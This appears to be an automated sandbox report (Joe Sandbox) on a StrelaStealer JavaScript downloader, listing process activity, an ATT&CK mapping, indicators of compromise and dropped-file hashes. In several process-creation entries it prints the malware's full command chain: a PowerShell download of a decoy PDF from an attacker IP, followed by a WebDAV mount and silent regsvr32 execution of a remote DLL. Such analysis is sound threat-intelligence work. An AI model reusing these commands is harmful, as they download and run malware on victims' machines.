Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4961			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4836			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4124	Thread sleep count: 4961 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4124	Thread sleep count: 4836 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6968	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3844	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1732	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7456	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.1671031551.0000026C547EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\$
Source: net.exe, 00000006.00000003.1746949251.0000020F6B0E0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750433733.0000020F6B0E0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750238564.0000020F6B085000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2960056649.0000020EE002B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2961826554.0000020EE5859000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000003.1746949251.0000020F6B0E0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750433733.0000020F6B0E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWzm\

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4722222574495.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
20607103592010424982.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
20607103592010424982.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/v	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2961710696.0000020EE5800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/v	net.exe, 00000006.00000003.1741588811.0000020F6B0B3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750328464.0000020F6B0B3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1742328830.0000020EE5662000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1741588811.0000020F6B0B3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750238564.0000020F6B085000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750328464.0000020F6B0B3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1742328830.0000020EE5662000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/n	net.exe, 00000006.00000002.1750328464.0000020F6B0A6000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1741588811.0000020F6B0A6000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588876
Start date and time:	2025-01-11 06:36:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	20607103592010424982.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.107, 2.16.168.105, 52.22.41.97, 3.233.129.217, 52.6.155.20, 3.219.243.226, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 20.12.23.50, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:37:08	API Interceptor	28x Sleep call for process: powershell.exe modified
00:37:12	API Interceptor	1x Sleep call for process: net.exe modified
00:37:12	API Interceptor	2x Sleep call for process: svchost.exe modified
00:37:25	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2272523722022218526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073611733207322
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr9:KooCEYhgYEL0In
MD5:	16BD7AF14A76B182DD265B54EA8D973F
SHA1:	68234FAFAE74170640ABCADD6E10376AEF237BFA
SHA-256:	C8212558137D6452F3D0B9C7E03220B4D0CE6D23A7AD67B08141BED2BEA08C5E
SHA-512:	4BF77CCA55A07392EC2572D1A22DCE5C175548746F27D386D0082590EF021AF4BBEC80DA60F9AF4FC2055D46A9E69773DE31D95F9F9C99E344E4B4323432E19D
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7124df07, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42212528008129163
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Baza/vMUM2Uvz7DO
MD5:	3C9396B3C39A5F698388353527F7DC81
SHA1:	28E45CA77DCC7DE614016B1F302BE848A351261E
SHA-256:	9C493A51B690FF5A8A1687D99116735CC658DFBF2654B8DACAB49DD7CD720D92
SHA-512:	8EE2E18544EE8CA7288937F6036619FB9AC802178E4DFEA2D8D1D7750535271B8AB20C634BD133044806B83D38C46F8CBC0178DF8609EB2BDBF82FF519BEC03B
Malicious:	false
Preview:	q$..... .......A.......X\...;...{......................0.!..........{A..%...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................]..%.%...}..................e..8.%...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07701644798260271
Encrypted:	false
SSDEEP:	3:sKtEYef9Yo+luajn13a/pN9Tll/llollcVO/lnlZMxZNQl:slzf9T+lua53qJTXAOewk
MD5:	C950DED02976B4EA43380D136E3543C5
SHA1:	9A402961675F79FC005457565E7CCBEB7D67BF76
SHA-256:	105D7338BDA027CEAAF40BA45A1E32D4EB655F2ADFD4F41DEB443532663F5F7B
SHA-512:	B113BF80F9D525138AA33A6E2D702978363F10405B531FE247F59A20938C17398040BE2A32C81637BDDD8934B3B2E56B0CFE2FE0517E991981438A67278F4734
Malicious:	false
Preview:	V<C:.....................................;...{...%...}.......{A..............{A......{A..........{A]................e..8.%...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.152268894341346
Encrypted:	false
SSDEEP:	6:iOycfr4q2Pwkn2nKuAl9OmbnIFUtEvLJZmwBFDkwOwkn2nKuAl9OmbjLJ:7pr4vYfHAahFUtEDJ/BFD5JfHAaSJ
MD5:	716DF74F29718C8CBFA66869F6398E3B
SHA1:	DEF0BFB514B61FD8169DD4F24BE5AFC7AA6180AE
SHA-256:	74481C540F59A53C25AF83457A4D6F6AE4329DCF7FF78D385FEEF81B38D61959
SHA-512:	9880142A328A3E425BB9A8FC333B4A1913BD3B82A0E277369921B93FF9A43DB717EB9C59F226EA9FFE0939718AA3297B832C8FD41A6DE8389696CB6862F4EF10
Malicious:	false
Preview:	2025/01/11-00:37:12.431 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:37:12.441 1cb4 Recovering log #3.2025/01/11-00:37:12.442 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.152268894341346
Encrypted:	false
SSDEEP:	6:iOycfr4q2Pwkn2nKuAl9OmbnIFUtEvLJZmwBFDkwOwkn2nKuAl9OmbjLJ:7pr4vYfHAahFUtEDJ/BFD5JfHAaSJ
MD5:	716DF74F29718C8CBFA66869F6398E3B
SHA1:	DEF0BFB514B61FD8169DD4F24BE5AFC7AA6180AE
SHA-256:	74481C540F59A53C25AF83457A4D6F6AE4329DCF7FF78D385FEEF81B38D61959
SHA-512:	9880142A328A3E425BB9A8FC333B4A1913BD3B82A0E277369921B93FF9A43DB717EB9C59F226EA9FFE0939718AA3297B832C8FD41A6DE8389696CB6862F4EF10
Malicious:	false
Preview:	2025/01/11-00:37:12.431 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:37:12.441 1cb4 Recovering log #3.2025/01/11-00:37:12.442 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.158879610416852
Encrypted:	false
SSDEEP:	6:iOOHQL+q2Pwkn2nKuAl9Ombzo2jMGIFUt1G1ZmwbQLVkwOwkn2nKuAl9Ombzo2jz:7xyvYfHAa8uFUty/0R5JfHAa8RJ
MD5:	E3F0656B549C588CFDE5A2999E8F0C52
SHA1:	7BD2A22DA7970AACCD83DBB79A382F439701DE21
SHA-256:	33198C5A5970F0AB31322D08E2B0BFC66E07C743971CB4476A0D0AA0AC72C8DB
SHA-512:	E12ADD3F65752892FF53EAFE6355FCEF39B894F948A005DE62984073D9690F9ADC3D840566B55D91818EF9EDE7C98D12CE80B7E49D4D8CDB2DD1FAA9E3DFA032
Malicious:	false
Preview:	2025/01/11-00:37:12.523 1d18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:37:12.524 1d18 Recovering log #3.2025/01/11-00:37:12.524 1d18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.158879610416852
Encrypted:	false
SSDEEP:	6:iOOHQL+q2Pwkn2nKuAl9Ombzo2jMGIFUt1G1ZmwbQLVkwOwkn2nKuAl9Ombzo2jz:7xyvYfHAa8uFUty/0R5JfHAa8RJ
MD5:	E3F0656B549C588CFDE5A2999E8F0C52
SHA1:	7BD2A22DA7970AACCD83DBB79A382F439701DE21
SHA-256:	33198C5A5970F0AB31322D08E2B0BFC66E07C743971CB4476A0D0AA0AC72C8DB
SHA-512:	E12ADD3F65752892FF53EAFE6355FCEF39B894F948A005DE62984073D9690F9ADC3D840566B55D91818EF9EDE7C98D12CE80B7E49D4D8CDB2DD1FAA9E3DFA032
Malicious:	false
Preview:	2025/01/11-00:37:12.523 1d18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:37:12.524 1d18 Recovering log #3.2025/01/11-00:37:12.524 1d18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3a0603c4-d93e-46c8-b31c-39448677b94a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.947377502166138
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvXhsBdOg2Hofcaq3QYiubInP7E4T3y:Y2sRdsKXydMHou3QYhbG7nby
MD5:	F30309F6783ED9F29D380132997EDC24
SHA1:	42ED1771369686CE96C0A32B8E4DCE2E8DC18573
